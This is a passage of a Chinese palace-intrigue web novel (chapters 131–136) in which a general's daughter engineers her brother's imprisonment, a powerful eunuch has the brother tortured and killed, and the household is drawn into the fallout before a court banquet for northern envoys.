当他在慈宁宫看到那对熟悉的玉佩，以及太后阴沉的脸色时，顿时明白了一切。 “傅莽！”太后声音冷得像冰，“你教的好儿子！连哀家赐下的聘礼都敢偷去典当！你们傅家是不是已经不把皇家放在眼里了？” 傅莽扑通一声跪倒在地，“太后息怒！臣教子无方，罪该万死！臣一定严惩那个逆子……” “严惩？”太后冷笑一声，“你以为这事就这么简单？御赐之物流落市井，皇家的脸面都被你们傅家丢尽了！北疆使团还在京中，若是传出去，皇朝的脸往哪儿搁？” 傅莽冷汗涔涔，伏地不敢起身，“臣罪该万死……” 太后冷冷地看着他，“傅莽，你也是朝中老臣了。你那个儿子屡教不改，如今竟敢动到皇家头上。你说，这事该怎么处置？” 傅莽咬紧牙关，心知这次太后是动了真怒。 想到那个逆子一次次惹祸，如今竟捅出这么大的篓子，他闭了闭眼，再睁开时眼中已是一片决绝。 “臣……请旨将逆子傅湛逐出家门，送去边疆充军！” 太后冷哼一声，“逐出家门？充军？未免太便宜他了！传旨，傅湛盗窃御赐之物，罪同欺君，押入天牢候审！傅莽教子无方，罚俸一年，闭门思过一个月！” 傅莽眼前一黑，险些晕厥过去。 天牢……那进去的人，有几个能活着出来的？ “太后开恩……”傅莽还想求情。 “再多说一句，就连你一起治罪！”太后拂袖转身，“滚出去！” 傅莽失魂落魄地退出慈宁宫，只觉得天旋地转。他怎么也没想到，傅湛竟会胆大包天到这个地步…… 而此时的傅湛，还浑然不知大祸临头。 他还在赌坊下注。 或许是因为赌坊的人看中了傅湛的可塑性，居然又让傅湛尝到了点甜头。 短短半天，就让傅湛赢了两万两。 可傅湛却不知足，眼见着赢了钱，更是红了眼睛。 东厂来抓人的时候，傅湛还在牌桌上大杀四方。 被抓的时候，他还一脸懵。 “你们干什么？我可是将军府的二公子！”傅湛挣扎着叫道。 为首的厂卫冷笑一声，“找的就是你！傅二公子，这可是太后娘娘下的懿旨！难道傅二公子想要抗旨不尊吗？” 第一百三十一章 傅湛落狱 当傅湛被押入天牢的消息传回将军府时，柳飞燕直接晕了过去。 整个将军府乱作一团，下人们噤若寒蝉，都知道这次二少爷怕是凶多吉少了。 芳华苑内，傅流萤刚刚回府。 春芽急匆匆地进来禀报，“小姐，二少爷被东厂的人抓走，押入天牢了！太后震怒，老爷也被罚俸禁足……” 傅流萤正在插花的手微微一顿，随即恢复如常，“知道了。” “小姐，这次二少爷怕是……”春芽低声道。 “那也是自作自受。”夏婵查了一句嘴。 傅流萤放下手中的花枝，唇角勾起一抹冷冽的弧度，“自作孽，不可活。” 她走到窗边，望着院中盛放的梨花，眸光深远。 这一切都在她的意料之中。 从让凝香引诱傅湛赌博，到故意透露库房看守松懈的消息，再到让杏儿带凝香出府留下线索。 甚至那对特意放在显眼处的龙凤玉佩，也是她算准了傅湛会顺手牵羊。 只是她也没想到，太后会震怒到这个程度。 不过这样也好，省得她再费周章。 “凝香那边如何？”傅流萤突然问道。 春芽压低声音，“已经按小姐的安排，暂时安置在城西的别院。就是……她似乎很害怕，想问小姐接下来该怎么办。” 傅流萤淡淡道，“告诉她，安静待着，我自有安排。” 正说着，忽然秋月来报，“小姐，萧督主来了。” 傅流萤眸光微闪，“请督主去花厅用茶，我稍后就到。” 萧玹突然造访，恐怕与傅湛之事脱不了干系。 也好，她正好探探他的口风。 花厅内，萧玹正慢条斯理地品着茶。见傅流萤进来，他放下茶盏，似笑非笑地看着她，“傅大小姐真是好手段。不过几日工夫，就让傅湛进了天牢，傅莽被禁足，柳飞燕一病不起……这将军府，眼看就要变天了。” 傅流萤在他对面坐下，神色平静：“督主说笑了，兄长自作自受，与流萤何干？” 萧玹轻笑一声，眼底却无半分笑意：“好一个自作自受。那对龙凤玉佩怎么偏偏就出现在了傅湛能顺手拿走的地方？” 傅流萤执壶为他添茶，动作优雅从容，“或许是兄长运气太好，随手一翻就翻到了最值钱的。” “哦？”萧玹突然伸手，握住她添茶的手腕，“那凝香又是怎么回事？” 傅流萤手腕被他攥住，也不挣扎，只抬眸与他对视，淡淡的笑了一声，“督主既然什么都知道，又何必来问流萤？” 四目相对，空气中仿佛有无形的刀光剑影。 良久，萧玹突然松开手，嘴角勾起了一抹浅笑，“好！好个傅流萤！本督果然没有看错人！” 他站起身，走到窗边，负手而立，“傅湛这次必死无疑。太后正在气头上，谁求情都没用。你父亲……经此一事，在朝中的威望也将大打折扣。” 傅流萤垂眸，“督主想说什么？” 萧玹转身，目光锐利如刀，“本督想知道，接下来你打算怎么做？扳倒了嫡母和嫡兄，下一个目标是谁？傅明雪？还是……整个傅家？” 傅流萤轻轻摩挲着茶杯边缘，语气淡然，“流萤自始自终只想自保。” “自保？”萧玹嗤笑一声，“好一个自保，傅流萤，若不是早就知晓你的心思，本督还真是会被你这幅样子骗了去。” 说话间，他捏住了傅流萤的下巴，“那本督再问你，那日鸿胪寺之事，你可想明白了？” 傅流萤抬眸，直视他的眼睛，“督主是问，为何要派我去盗取血参，还是问为何要拿我当诱饵？” 萧玹眼中闪过一丝讶异，随即化为玩味，“你果然猜到了。” “督主手下能人辈出，为何偏偏选我一个闺阁女子去闯龙潭虎穴？”傅流萤语气平静，却字字诛心，“除非……督主本就打算让我吸引注意，真正盗取血参的，另有其人。” “而那一阵风，不过是督主抛出的又一个诱饵，用来试探各方反应，顺便……清理一些不听话的人。” 萧玹静静听着，眼底的玩味渐渐转为欣赏，“继续说。” “督主真正想要的，不是血参，而是借此事看清朝中各方势力的动向，顺便试探我到底有多少价值，可否为您所用。” 她仰头看着他，眸光清澈，“不知流萤猜得可对？” 萧玹凝视着她，突然松开了她的下巴，“傅流萤，你太聪明了。聪明得让本督都感到意外。” 他的指尖冰凉，语气却带着几分灼热：“那你可猜得到，本督接下来要做什么？” 傅流萤毫不退缩地迎上他的目光：“督主接下来，应该要去一趟天牢了。” 萧玹挑眉：“哦？” “傅湛虽是个废物，但毕竟是将军府嫡子。太后盛怒之下将他下狱，但朝中难免会有人为傅家求情。”傅流萤缓缓道，“督主此时去天牢，无非两个目的：一是确保傅湛‘认罪伏法’；二是……看看能从他嘴里撬出多少有用的东西。” 萧玹松开手，大笑起来，“好！好！傅流萤，你果然从没让本督失望！” 他转身朝外走去，到了门口又停下脚步，“三日后，宫中设宴为北疆使团接风，你随本督一同出席。” 傅流萤微微蹙眉，“督主，这似乎不合规矩……” “规矩？”萧玹回头，唇角勾起一抹意味深长的笑，“本督的话，就是规矩。” 望着萧玹离去的背影，傅流萤缓缓握紧了衣袖中的手。 宫中夜宴……看来，这场大戏才刚刚开始。 而她，已然身在戏中，再也无法抽身。 “春芽。”她轻声唤道。 “奴婢在。” “去准备一下三日后入宫的服饰。还有……”傅流萤眸光微冷，“让我们的人盯紧傅明雪那边。我这个好妹妹，恐怕不会安分太久。” “是。” 傅流萤走到廊下，望着庭院中纷飞的梨花，目光深远。 傅湛入狱，傅莽被禁足，柳飞燕一病不起……将军府的天，确实要变了。 而这一切，还只是开始。 远处隐隐传来雷声，一场暴风雨即将来临。 第一百三十二章 萧督主心疼了 萧玹离去后，芳华苑内恢复了寂静，只余窗外渐起的风声，预示着山雨欲来。 傅流萤静立片刻，萧玹说的每一句话都在脑中清晰回放。 他承认了利用与试探，甚至是带着一种近乎欣赏的残忍承认的。 这个男人，还真是心思深沉如海，每一步都暗藏机锋。 和他这样的人合作，无异于与虎谋皮，但眼下，她已无退路。 既然从一开始她找上萧玹就没有给她任何的退路，那她就要硬生生的博一条出路来。 “春芽。”傅流萤声音平静，却带着不容置疑的决断。 “奴婢在。”春芽立刻应声，神色肃然。 “方才萧督主的话，你也听到了。三日后宫宴，绝非简单饮宴。北疆使团在侧，傅家刚出了这等丑事，不知多少双眼睛盯着。” 傅流萤走到妆奁前，打开一个暗格，取出一枚小巧玲珑，通体漆黑的哨子，递给春芽，“让我们在宫里的人，务必盯紧北疆亲王完颜宗及其随行人员的动向。” “是，小姐。”春芽小心翼翼接过哨子，她知道这是联系宫中暗桩的紧急信物。 “另外，”傅流萤眸光微冷，“傅明雪那边，加派人手。我这位好妹妹，失了母亲和兄长依仗，自身难保，但狗急跳墙，不得不防，她与宫中某些人素有往来，查查她近日是否递过消息出去。” “奴婢明白。”春芽领命，匆匆退下安排。 傅流萤走到窗边，看着庭院中被风吹得摇曳不止的花木。 傅湛入狱，傅家声望跌至谷底，这固然是她乐于见到的，但也意味着将军府成了一个巨大的漩涡中心，更容易被各方势力利用。 萧玹要她参加宫宴，绝非带她看戏那么简单。 她这个未婚妻，如今可是京城最引人瞩目的焦点之一。 家族蒙羞，却即将嫁予权倾朝野的九千岁。 多少人等着看她的笑话，又有多少人想通过她试探萧玹的深浅。 她必须打起十二分的精神。 阴森潮湿的天牢深处，血腥味与霉腐气混杂，令人作呕。 傅湛被粗大的铁链锁在刑架上，衣衫褴褛，遍体鳞伤，早已不复昔日将军府公子的骄矜。 他眼神涣散，口中喃喃自语，时而求饶，时而咒骂，已然处于崩溃边缘。 牢门吱呀一声打开，一道修长的玄色身影缓步走入，靴子踩在肮脏的稻草上，几乎未发出声响。 来人自然是萧玹。 他面容在昏暗的油灯下更显俊美苍白，也愈发冰冷慑人。 他身后跟着面无表情的残风。 “傅二公子，别来无恙。”萧玹的声音平淡无波，却像冰锥一样刺入傅湛耳中。 傅湛猛地一颤，抬起头，看到萧玹，如同见了索命的阎罗，吓得涕泪横流，“督主！督主饶命！我知道错了！我真的知道错了！求求您，看在我妹妹，看在我们傅家的份上，饶我一条狗命吧！” “妹妹？傅家？”萧玹唇角勾起一抹讥诮的弧度，仿佛听到了天大的笑话，“傅流萤是你的嫡亲妹妹，柳飞燕是她的亲生母亲，他们为何待她如仇寇？你们傅家的门风，就是如此苛待嫡亲血脉？” 傅湛语塞，眼神躲闪，言语无状，只是拼命磕头，“是我混账！我不是人！求督主开恩！开恩啊！” 萧玹缓缓踱步到他面前，居高临下地看着他，眼神如同在看一只蝼蚁，“本督今日来，不是听你这些废话的，太后懿旨，你盗窃御赐之物，罪同欺君，死罪难逃。本督也无力回天。” 傅湛闻言，面如死灰，彻底瘫软下去。 “不过……”萧玹话锋一转，声音压低，带着蛊惑般的寒意，“你若能老老实实回答本督几个问题，或许……本督可以帮帮你，少受些零碎苦头。” 傅湛眼中瞬间爆发出最后一丝求生的渴望，连连点头，“我说！我什么都说！督主请问！” 萧玹眸光幽冷，“傅流萤是你的嫡亲妹妹，在你们傅家，这些年来，过的究竟是什么样的日子？” 傅湛一愣，眼神闪烁，下意识地想要为自家遮丑，“她……她是傅家嫡长女，自然是锦衣玉食……啊……” 话音未落，身旁的残风便拿起一根浸了盐水的鞭子，毫不留情地抽在他未愈的伤口上，痛得他惨嚎出声。 “本督要听实话。”萧玹的语气没有一丝波澜，“再说一句虚言，下次就用烙铁。” 傅湛痛得魂飞魄散，再不敢隐瞒，涕泪交加地嘶喊道，“我说！我说实话！她……她过得不好！非常不好！母亲……母亲自她出生后，就觉得她性子不像她那般柔顺听话，反而更像……更像早年过世的祖母，倔强有主意，便一直不喜她，觉得她克亲，碍眼……” 萧玹负在身后的手微微蜷紧。 竟是因为这种荒谬的理由？ “继续。” “后来明雪入了府，母亲和父亲更是将所有的宠爱给了明雪，至于傅流萤……” 傅湛眸光微闪，像是想到了什么，咬着牙，“母亲克扣她的用度份例，纵容下人怠慢她……冬日里炭火总是最劣等的，或者干脆不给，夏日里冰块也轮不到她的芳华苑……” “她院里的吃食，有时连我们身边得脸的下人都不如……衣裳首饰，也都是明雪挑剩下的，或者过时的……” 傅湛喘着粗气，断断续续地说着，疼痛和恐惧让他说一句话都十分艰难，“父亲……父亲忙于公务，又觉得后宅之事乃妇人管辖，从不过问细节……只觉得她安静不惹事便好……至于我和傅凛，母亲和明雪都不喜她，也跟着……跟着欺负她，嘲笑她不受宠，抢她的月钱……还……还曾故意弄坏她珍视的书籍……” 每说一句，萧玹的眼神便冰寒一分。 同父同母，嫡亲的兄妹，竟能如此对待？ 柳飞燕的心偏到了胳肢窝，而傅湛更是烂到了根子里。 傅莽的漠视，同样是帮凶！ “所以……”萧玹的声音冷得能掉下冰渣，“就因为她不像柳飞燕期望的那般柔顺可欺，就因为那可笑的偏心和不喜，你们母子三人，便联手作践自己的嫡亲血脉这么多年？傅莽的不管不问，便是纵容！” 第一百三十三章 傅湛死了 “是……是……我们错了……我们不是人……”傅湛只会机械地重复求饶和认错，剧烈的疼痛和巨大的恐惧已经让他思维混乱。 萧玹看着他这副模样，心底那股无名火却越烧越旺。 他想起傅流萤那双清冷沉静的眼眸，那仿佛任何时候都不会被打倒的坚韧，原来都是在这样的环境下淬炼出来的。 她本该是将军府最尊贵的嫡长女，享尽父母宠爱，兄友弟恭……可现实却如此不堪！ 一开始他还以为，调查来的会有虚构。 可现在看着傅湛心虚的样子，她过的日子肯定远不如他口中描述的。 此刻萧玹却觉得心口某处被细微地刺痛了一下，一种难以言喻的情绪弥漫开来，是愤怒，也夹杂着一丝……心疼。 “傅湛，”萧玹的声音低沉下去，透着浓浓的危险之色，“你真是死不足惜。” 他不再多看傅湛一眼，转身对残风冷冷吩咐，“给他个痛快。处理干净。” “是，督主！”残风领命。 萧玹大步离开阴暗的牢房，身后传来傅湛最终绝望的呜咽声，随即一切归于寂静。 天牢的腐朽气息似乎都无法沾染他玄色的衣袍分毫，只有那双深不见底的眸中，翻涌着比夜色更沉的波澜。 他未曾想到，真相竟是如此令人发指，同根相煎，竟至如此地步。 将军府内，愁云惨淡。 傅莽被罚俸禁足，正焦头烂额地思索如何挽回圣心，至少保住傅湛一条命，哪怕流放三千里也好过死在狱中。 突然，管家连滚爬爬地冲了进来，脸色惨白如纸，扑通一声跪倒在地，声音颤抖得不成样子，“将军！将军！不好了！二少爷……二少爷他在天牢里……暴毙了！” “什么？”傅莽猛地站起身，眼前一黑，身形晃了晃，勉强扶住桌子才站稳。 他不敢相信自己的耳朵，“暴毙？怎么可能？昨日还好好的……” 虽然恨铁不成钢，但那是他寄予厚望的嫡子，是他傅家的香火传承！ 一瞬间，巨大的悲痛和难以置信席卷了他。 与此同时，柳飞燕的院子里也收到了消息。 她本就因被软禁和傅湛入狱而忧思成疾，卧病在床，听到这个噩耗，当场惨叫一声“我的儿啊！”猛地喷出一口鲜血，直接晕厥过去。 院子里顿时乱作一团，容佩又是掐人中又是哭喊，好不容易才将柳飞燕弄醒。 醒来的柳飞燕如同疯魔了一般，披头散发，哭得肝肠寸断，“湛儿！我的湛儿！你死得好惨啊！你怎么可能暴毙？不可能！绝对不可能！我儿身体一向康健！” 她猛地抓住匆匆赶来的傅莽的衣襟，眼神疯狂，“老爷！老爷！湛儿死得不明不白！他一定是被人害死的！是有人故意害他！他之前还好好的，怎么会突然就暴毙了？一定是有人见不得他好！老爷！你要为湛儿做主啊！查明真相，还我们湛儿一个清白！他只是一时糊涂，罪不至死啊！” 傅莽本就心痛如绞，被柳飞燕这么一哭一闹，更是心烦意乱，但丧子之痛也让他冷静下来思考。 是啊，傅湛虽然混账，但身体底子不差，天牢环境再差，也不至于一两日就暴毙。 而且偏偏是在太后下旨，他正准备想办法周旋的时候…… 难道真是有人从中作梗？ 是谁？ 是……东厂？ 萧玹！ 一定是他！ 想到这里，傅莽心底升起一股寒意和恨意。 “查！给本将军查！”傅莽赤红着眼睛，对管家吼道，“去查傅湛最近都接触了什么人！尤其是他欠下巨债前后！还有，他院子里那个来历不明的女人呢？不是说他前些日子带回来一个妾室吗？人去哪了？” 管家连忙道，“回将军，老奴正要禀报，二少爷院子里那个叫凝香的姑娘，在二少爷第二次偷盗库房，失踪之后，也不见了踪影！老奴派人去她房中查过，值钱细软都不见了，像是……像是卷了东西跑了！” “跑了？”傅莽眉头紧锁，“什么时候跑的？怎么跑的？府里是她说来就来说走就走的吗？” “这……老奴已问过侧门和后门的婆子，都说没见那凝香姑娘出去……”管家迟疑道，“不过，有婆子隐约记得，前日晌午后，好像看见二小姐身边的杏儿，带着一个眼生的丫鬟打扮的人出过府，说是去买针线……但当时没留意那丫鬟的模样……” “傅明雪？杏儿？”傅莽的心猛地一沉。 怎么会牵扯到明雪？ 柳飞燕此刻也听到了这话，如同抓住了救命稻草，尖声道，“明雪？和明雪有什么关系？一定是那个小贱人！一定是傅流萤！她恨我们母子！所以她胁迫明雪放走了那个凝香，那个凝香肯定也是她的人！是她设局害了我的湛儿！老爷！你要为湛儿报仇啊！” 柳飞燕已经有些失去理智，口不择言。 傅莽虽然觉得她的话有些疯狂，但凝香的失踪确实蹊跷，又牵扯到杏儿，他必须问个清楚。 “去！把二小姐和那个叫杏儿的丫鬟，给我叫过来！”傅莽脸色铁青，声音冰冷。 很快，傅明雪和战战兢兢的杏儿被带到了傅莽和柳飞燕面前。 傅明雪这几日也是心神不宁，兄长入狱，母亲被禁足，她深知家族遭难自己也难有好下场，此刻见父母脸色阴沉得可怕，心中更是忐忑，怯生生地行礼，“父亲，母亲……” “明雪！”柳飞燕一见她，就扑过去抓住她的手臂，力道大得掐得傅明雪生疼，“你老实告诉娘，你有没有让杏儿放走凝香那个贱人？是不是傅流萤让你这么做的？她给了你什么好处你要害你亲哥哥！” 傅明雪被母亲状若疯癫的样子吓坏了，手臂被掐得生疼，眼泪瞬间就涌了出来，连连摇头，“没有！母亲，我没有！我什么都不知道！我怎么会害哥哥？我根本不认识什么凝香啊！” 她转向傅莽，哭得梨花带雨，“父亲！女儿冤枉！女儿这几日一直在自己院里为哥哥祈祷，从未见过什么凝香，更不曾指使杏儿放人出去！求父亲明鉴！” 第一百三十四章 无辜的傅明雪 傅莽看着傅明雪哭得可怜，心中闪过一丝疑虑，但目光随即落到跪在地上瑟瑟发抖的杏儿身上，厉声道，“杏儿！你说！前日午后，你是否带人出过府？带的是谁？” 杏儿早已吓得魂飞魄散，伏在地上磕头如捣蒜，“将军饶命！夫人饶命！奴婢……奴婢前日是出过府，但……但……” “但什么？说！”傅莽一声暴喝。 杏儿浑身一颤，像是被吓破了胆，闭了闭眼睛，像是下定了某种决心，哭喊着道，“是……是二小姐！是二小姐让奴婢这么做的！二小姐给了奴婢一支金簪和两锭银子，让奴婢悄悄带凝香姑娘出府，还吩咐奴婢不准告诉任何人！” “奴婢……奴婢是一时贪财，鬼迷心窍，才犯了糊涂！将军饶命啊！奴婢真的不知道会惹出这么大的祸事！二小姐说只是带凝香姑娘出去买点东西，很快就回来……奴婢不知道她会跑啊！” “你胡说！”傅明雪惊得花容失色，尖声反驳，“我什么时候给过你金簪银子？我什么时候让你带人出府了？杏儿！我平日待你不薄，你为何要血口喷人诬陷我？” 傅明雪又惊又怒又怕，完全不明白这无妄之灾从何而来。 她根本没见过凝香，只听过傅湛带回来一个艺伶，更谈不上指使杏儿放人。 杏儿只是哭，反复磕头，“二小姐，事到如今您就承认了吧！奴婢不敢说谎，那金簪和银子奴婢还藏着，可以拿来对质……将军，夫人，饶了奴婢吧，奴婢真的只是听命行事啊！” 柳飞燕听到这里，哪里还顾得上什么母女情深，说到底傅湛才是她的亲生儿子。 她猛地推开傅明雪，指着她的鼻子骂道，“好啊！傅明雪，你这个吃里扒外的东西！连你亲哥哥都害！” 傅明雪被推得踉跄几步，跌倒在地，看着状若疯狂的柳飞燕和面色阴沉冰冷的傅莽，只觉得百口莫辩。 向来只有她陷害别人的份，满心委屈和恐惧，哭得几乎背过气去：“没有……我没有……父亲，母亲，你们相信我……我真的没有……” 傅莽看着眼前这混乱的一幕，傅明雪哭喊冤枉，丫鬟指认凿凿，柳飞燕歇斯底里。 他拧着眉，心中疑窦丛生，杏儿虽然有物证，不像完全作假。 但明雪一向乖巧，为何要这么做？ 但是真是因为傅流萤？ 不，不可能。 她也是将军府的人，害死兄长，让将军府丢尽脸面，对她也没什么好处。 而且凝香是傅湛自己带回来的…… 傅莽到底是在朝堂上打过滚的人，冷静下来后，觉得此事处处透着古怪。 他看了一眼哭得几乎晕厥的傅明雪，又看了一眼不断磕头求饶的杏儿，眼神变得凝重起来。 “够了！”傅莽一声怒喝，镇住了场面。 他冷冷地看着杏儿，“你说二小姐指使你，除了金簪银两，可还有别的证据？二小姐为何要这么做？她与那凝香有何交集？” 杏儿被问得一怔，眼神闪烁了一下，只是重复道，“奴婢……奴婢不知……二小姐只是吩咐奴婢做事，从不说原因……那金簪和银子就是证据……” 傅莽心中疑云更甚。 他挥挥手，让人先将哭闹的柳飞燕扶回房，又让人把几乎虚脱的傅明雪带下去看管起来。 他看着跪在地上的杏儿，眼中闪过一丝厉色，“把这个背主的奴才关进柴房，严加看管！没有我的命令，谁也不准接近！” “是！” 管家立刻带人将杏儿拖了下去。 傅莽独自站在厅中，面色阴沉得能滴出水来。傅湛的死，凝香的失踪，杏儿的指认……这一切看似指向傅明雪，甚至隐隐牵连傅流萤，但他总觉得有一双无形的手在背后操纵着一切。 会是谁？目的又是什么？ 仅仅是为了搞垮傅家？还是……另有所图？ 他想起即将到来的宫宴，想起虎视眈眈的北疆使团，想起深不可测的萧玹…… 一股巨大的危机感将他笼罩。 他必须尽快查清真相，否则，傅家恐怕真的要万劫不复了。 而那个看似柔弱，实则刚强的长女，在这其中，又扮演着什么样的角色？ 傅莽第一次发现，自己对这个女儿，似乎从未真正了解过。 宫宴前夜，芳华苑。 傅流萤正在试穿明日入宫的礼服。 一袭绯色宫装，绣着繁复的缠枝莲暗纹，庄重又不失雅致，衬得她肌肤胜雪，清丽脱俗中自带一股不容侵犯的冷冽。 春芽和夏婵仔细地为她整理着裙摆，眼中满是惊艳，“小姐穿这身真是好看，明日宫宴，定能将那些人都比下去。” 傅流萤看着镜中的自己，神色平淡，“明日不是去比美的，而是去赴鸿门宴。衣服得体便可，无需招摇。” 正说着，秋月悄步进来，低声道，“小姐，我们的人发现，二小姐回去便写了一封信，似乎是想通过采买的下人送出去，被我们截下了。” 傅流萤挑眉，“哦？信呢？” 秋月呈上信件。 傅流萤展开一看。 六皇子亲启。 信中字字泣血，诉说傅湛蒙冤而死，柳飞燕被禁，傅莽不理，她在府中备受傅流萤欺凌，恳求六皇子看在往日情分上，能在太后或皇上面前为她美言几句。 “呵。”傅流萤看完，轻笑一声，将信递还给秋月，“送出去吧。” 没有想到傅明雪居然还和六皇子有关系。 还真是有些让人意外啊。 六皇子是当今圣上除了太子殿下之外最宠爱的一位皇子。 傅明雪知道攀附他倒也不蠢。 只可惜她一个要纳入二房子府的妾室，和六皇子联系密切，若是让二皇子知道了…… 傅流萤的嘴角勾起了一抹浅浅的笑容，眼底却带着一丝的玩味。 “小姐，不拦着吗？”春芽问道。 “拦？为何要拦？”傅流萤眼中闪过一抹冷嘲，“让她送出去。正好我也想看看那位二皇子对傅明雪到底是什么态度。” 她这位好妹妹，到了这个时候，还想着靠装可怜博取同情，却不知在真正的权势面前，这点小把戏有多么可笑。 第一百三十五章 宫宴前夜 她倒是要看看，二皇子会不会为了一个失势的臣女去触太后和皇上的霉头？ 傅明雪这步棋，走得真是蠢不可及。 “傅莽那边呢？”傅流萤又问。 “将军仍在书房，未曾外出。期间只让人送了些饭菜进去，几乎未曾动过筷。看起来……苍老了许多。” 秋月低声回禀。 傅流萤沉默片刻。 傅莽此时的痛苦，半是因儿子不肖家族蒙羞，半是因自身权位动摇。 他对傅湛或许有父子之情，但更多的是恨铁不成钢，以及对自身利益的担忧。 “不必管他。”傅流萤淡淡道，“让我们的人盯紧府内外即可。尤其是明日我入宫后，府中绝不能出任何乱子。” “是。” 这时，夏婵端着刚煎好的药进来，“小姐，该用药了。”那是调理内息的药，傅流萤臂上的伤虽无大碍，但明日宫宴需得保持最佳状态。 傅流萤接过药碗，一饮而尽，眉头都未曾皱一下。 刚放下药碗，窗外传来一声极轻微的叩击声。 春芽立刻警惕地看向傅流萤。 傅流萤示意她稍安勿躁，走到窗边，推开一条缝隙。 一枚小小的竹管被塞了进来，随即窗外气息消失无踪。 是萧玹传来的消息。 傅流萤打开竹管，取出里面的纸条。 上面只有寥寥数字，“傅湛已伏诛。明日辰时，府外候。” 字迹凌厉，带着一股杀伐之气。 傅流萤指尖微顿，随即将纸条置于烛火上点燃，看着它化为灰烬。 傅湛死了。 这条消息明日便会传遍京城。明日的宫宴，注定不会平静。 萧玹这是在告诉她，戏台已搭好，只等开场。 她深吸一口气，压下心中翻涌的思绪。 明日，她必须更加谨慎，每一步都不能行差踏错。 翌日，辰时。 一辆奢华却不失威严的玄色马车准时停在傅府门外。 车帘以金线绣着繁复的云纹，拉车的是四匹神骏异常的黑色骏马，车夫是个如同泥塑木雕般的黑衣人。 傅流萤在春芽的搀扶下走出府门。 她今日妆容清淡，却恰到好处地凸显了五官的精致，绯色宫装更添几分庄重，行走间步态沉稳，气度不凡。 马车帘幔掀起，萧玹端坐其内。他今日亦是一身玄色蟒袍，金冠束发，面容依旧苍白，但眉眼间的戾气似乎收敛了些许，取而代之的是一种深沉的威严。 他看到傅流萤，目光在她身上停留了一瞬，深邃难辨。 “上车。”他声音平淡。 傅流萤微微颔首，搭着春芽的手上了马车。 春芽则与随行的东厂侍卫一同骑马跟在车后。 马车内部宽敞舒适，铺着厚厚的地毯，小几上燃着冷冽的沉香。 两人相对无言，气氛比上次夜探鸿胪寺后更为微妙。 傅湛的死，像一道无形的屏障横亘在中间。 最终还是萧玹先开了口，声音听不出情绪，“怕吗？” 傅流萤抬眸看他，眼神清澈平静，“督主希望我怕，还是不怕？” 萧玹唇角微勾，“牙尖嘴利。今日宫中，少说话，多看。北疆那位亲王，不是易与之辈。完颜宗此人，勇猛有余，但狡诈多疑，尤其……对中原人心存轻视。他若言语挑衅，不必理会，本督自会应对。” “是。”傅流萤应下。 “还有，”萧玹顿了顿，目光落在她包扎过的手臂上，虽然掩在宽大袖袍下看不出异常，“你的伤……” “已无大碍，多谢督主挂心。”傅流萤语气疏离。 萧玹眸光微暗，不再说话，闭目养神。 马车一路行至宫门，经过严密盘查后，缓缓驶入皇宫大内。 朱红宫墙，琉璃碧瓦，白玉栏杆，无不彰显着皇家的威严与气派。 侍卫林立，太监宫女垂首疾行，气氛肃穆庄严。 傅流萤不是第一次入宫，但此次心情截然不同。 以往她是将军府不起眼的嫡女，如今她是身陷漩涡中心、即将嫁予九千岁的未来督主夫人。 马车在举行宴会的太和殿外停下。 萧玹率先下车，立刻吸引了无数道视线。 他恍若未觉，转身，极其自然地朝车内的傅流萤伸出了手。 傅流萤看着那只骨节分明的手，微微一顿，随即坦然地将手放入他的掌心。 他的指尖依旧冰凉，但握住她手的力道却沉稳有力。 两人携手走下马车，男的俊美无俦却气场阴冷，女的清丽绝伦且神色淡然，站在一起，竟有种奇异的和谐与般配，瞬间成为了全场瞩目的焦点。 窃窃私语声隐约传来。 “那就是傅家大小姐？”　“果然好相貌，就是瞧着冷了些。” “听说她那个哥哥……啧啧，刚死在牢里了……” “嘘！慎言！没看见九千岁在吗？” “傅家如今这般光景，她倒还能攀上督主这高枝，也是本事……” 各种探究，好奇，嫉妒还有轻蔑的目光交织而来。 傅流萤面色如常，仿佛那些议论都与她无关。 她能感受到萧玹握着她手的力道微微收紧，似乎带着一丝不易察觉的警告，又或是……安抚？ 她抬眸，正好对上他侧首看来的目光。 他眼中深邃一片，看不出情绪，但她却奇异地安心了几分。 至少在此刻，他们是同盟。 “走吧。”萧玹低沉的声音在她耳边响起，牵着她，一步步走向那灯火辉煌却暗流汹涌的太和殿。 殿内，丝竹管弦之声悠扬，百官命妇大多已入席。 皇帝与太后、皇后尚未驾临。 萧玹的位置极其靠前，仅在几位亲王皇子之下。他带着傅流萤坦然入座，姿态闲适，仿佛周围那些复杂的目光都不存在。 傅流萤在他身侧坐下，目光平静地扫过殿内。 她看到了脸色灰败却强打精神的傅莽，看到了几位神色各异的皇子，也看到了位于客宾首席，那位身材高大衣着华丽，面容带着北疆人特有粗犷与精明的中年男子。 正是北疆亲王完颜宗。 完颜宗的目光也正肆无忌惮地打量着殿内众人，看到萧玹和傅流萤时，他眼中闪过一抹毫不掩饰的探究与倨傲。 恰在此时，司礼太监尖细的声音高高响起。 “皇上驾到——太后娘娘驾到——皇后娘娘驾到——” 盛宴，即将开始。 第一百三十六章 宴无好宴 随着帝后及太后驾临，众人跪拜行礼，高呼万岁，宴会正式开始。 丝竹之声更盛，宫女太监如流水般呈上珍馐美馔，玉液琼浆。 表面上一派歌舞升平，觥筹交错的和谐景象。 酒过三巡，精美的御膳如流水般呈上又撤下，殿内暖意融融，熏香混合着酒菜香气，氤氲出一种奢靡而和乐的假象。 丝竹管弦之声悠扬婉转，舞姬们水袖翩跹，身姿曼妙，试图用柔美的韵律软化殿内无形的锋棱。 高踞龙椅之上的皇帝，面庞被冕旒的垂珠遮掩了些许神色，但微微上扬的嘴角和略显松弛的肩颈，显露出他此刻心情尚可。 他举起手中金樽，目光温和地扫视全场，最终落于北疆使团首席的完颜宗身上，声音洪亮而充满威仪，打破了之前略显拘谨的气氛。 “完颜亲王远道而来，一路辛苦。朕欢迎诸位使臣。北疆与我朝毗邻而居，虽风土各异，然睦邻友好、商贸互通乃两国百姓之福。往昔虽有些许摩擦，皆已成过眼云烟。朕愿与北疆王庭共执牛耳，以此杯酒，祈愿两国邦交如松柏长青，永修盟好，边境安宁，百姓安居乐业！” 皇帝的话语冠冕堂皇，滴水不漏。 说完，他率先将杯中御酒一饮而尽，动作洒脱，以示诚意。 殿内百官见状，纷纷起身举杯附和，“愿两国永修盟好！”声浪一时盖过了乐声。 完颜宗也随之起身。 他身材高大健硕，穿着北疆贵族特有的华丽裘袍与镶宝石的腰带，面容粗犷，一双鹰目锐利有神。 他举起酒杯，面向皇帝，声若洪钟，倒是做足了表面功夫。 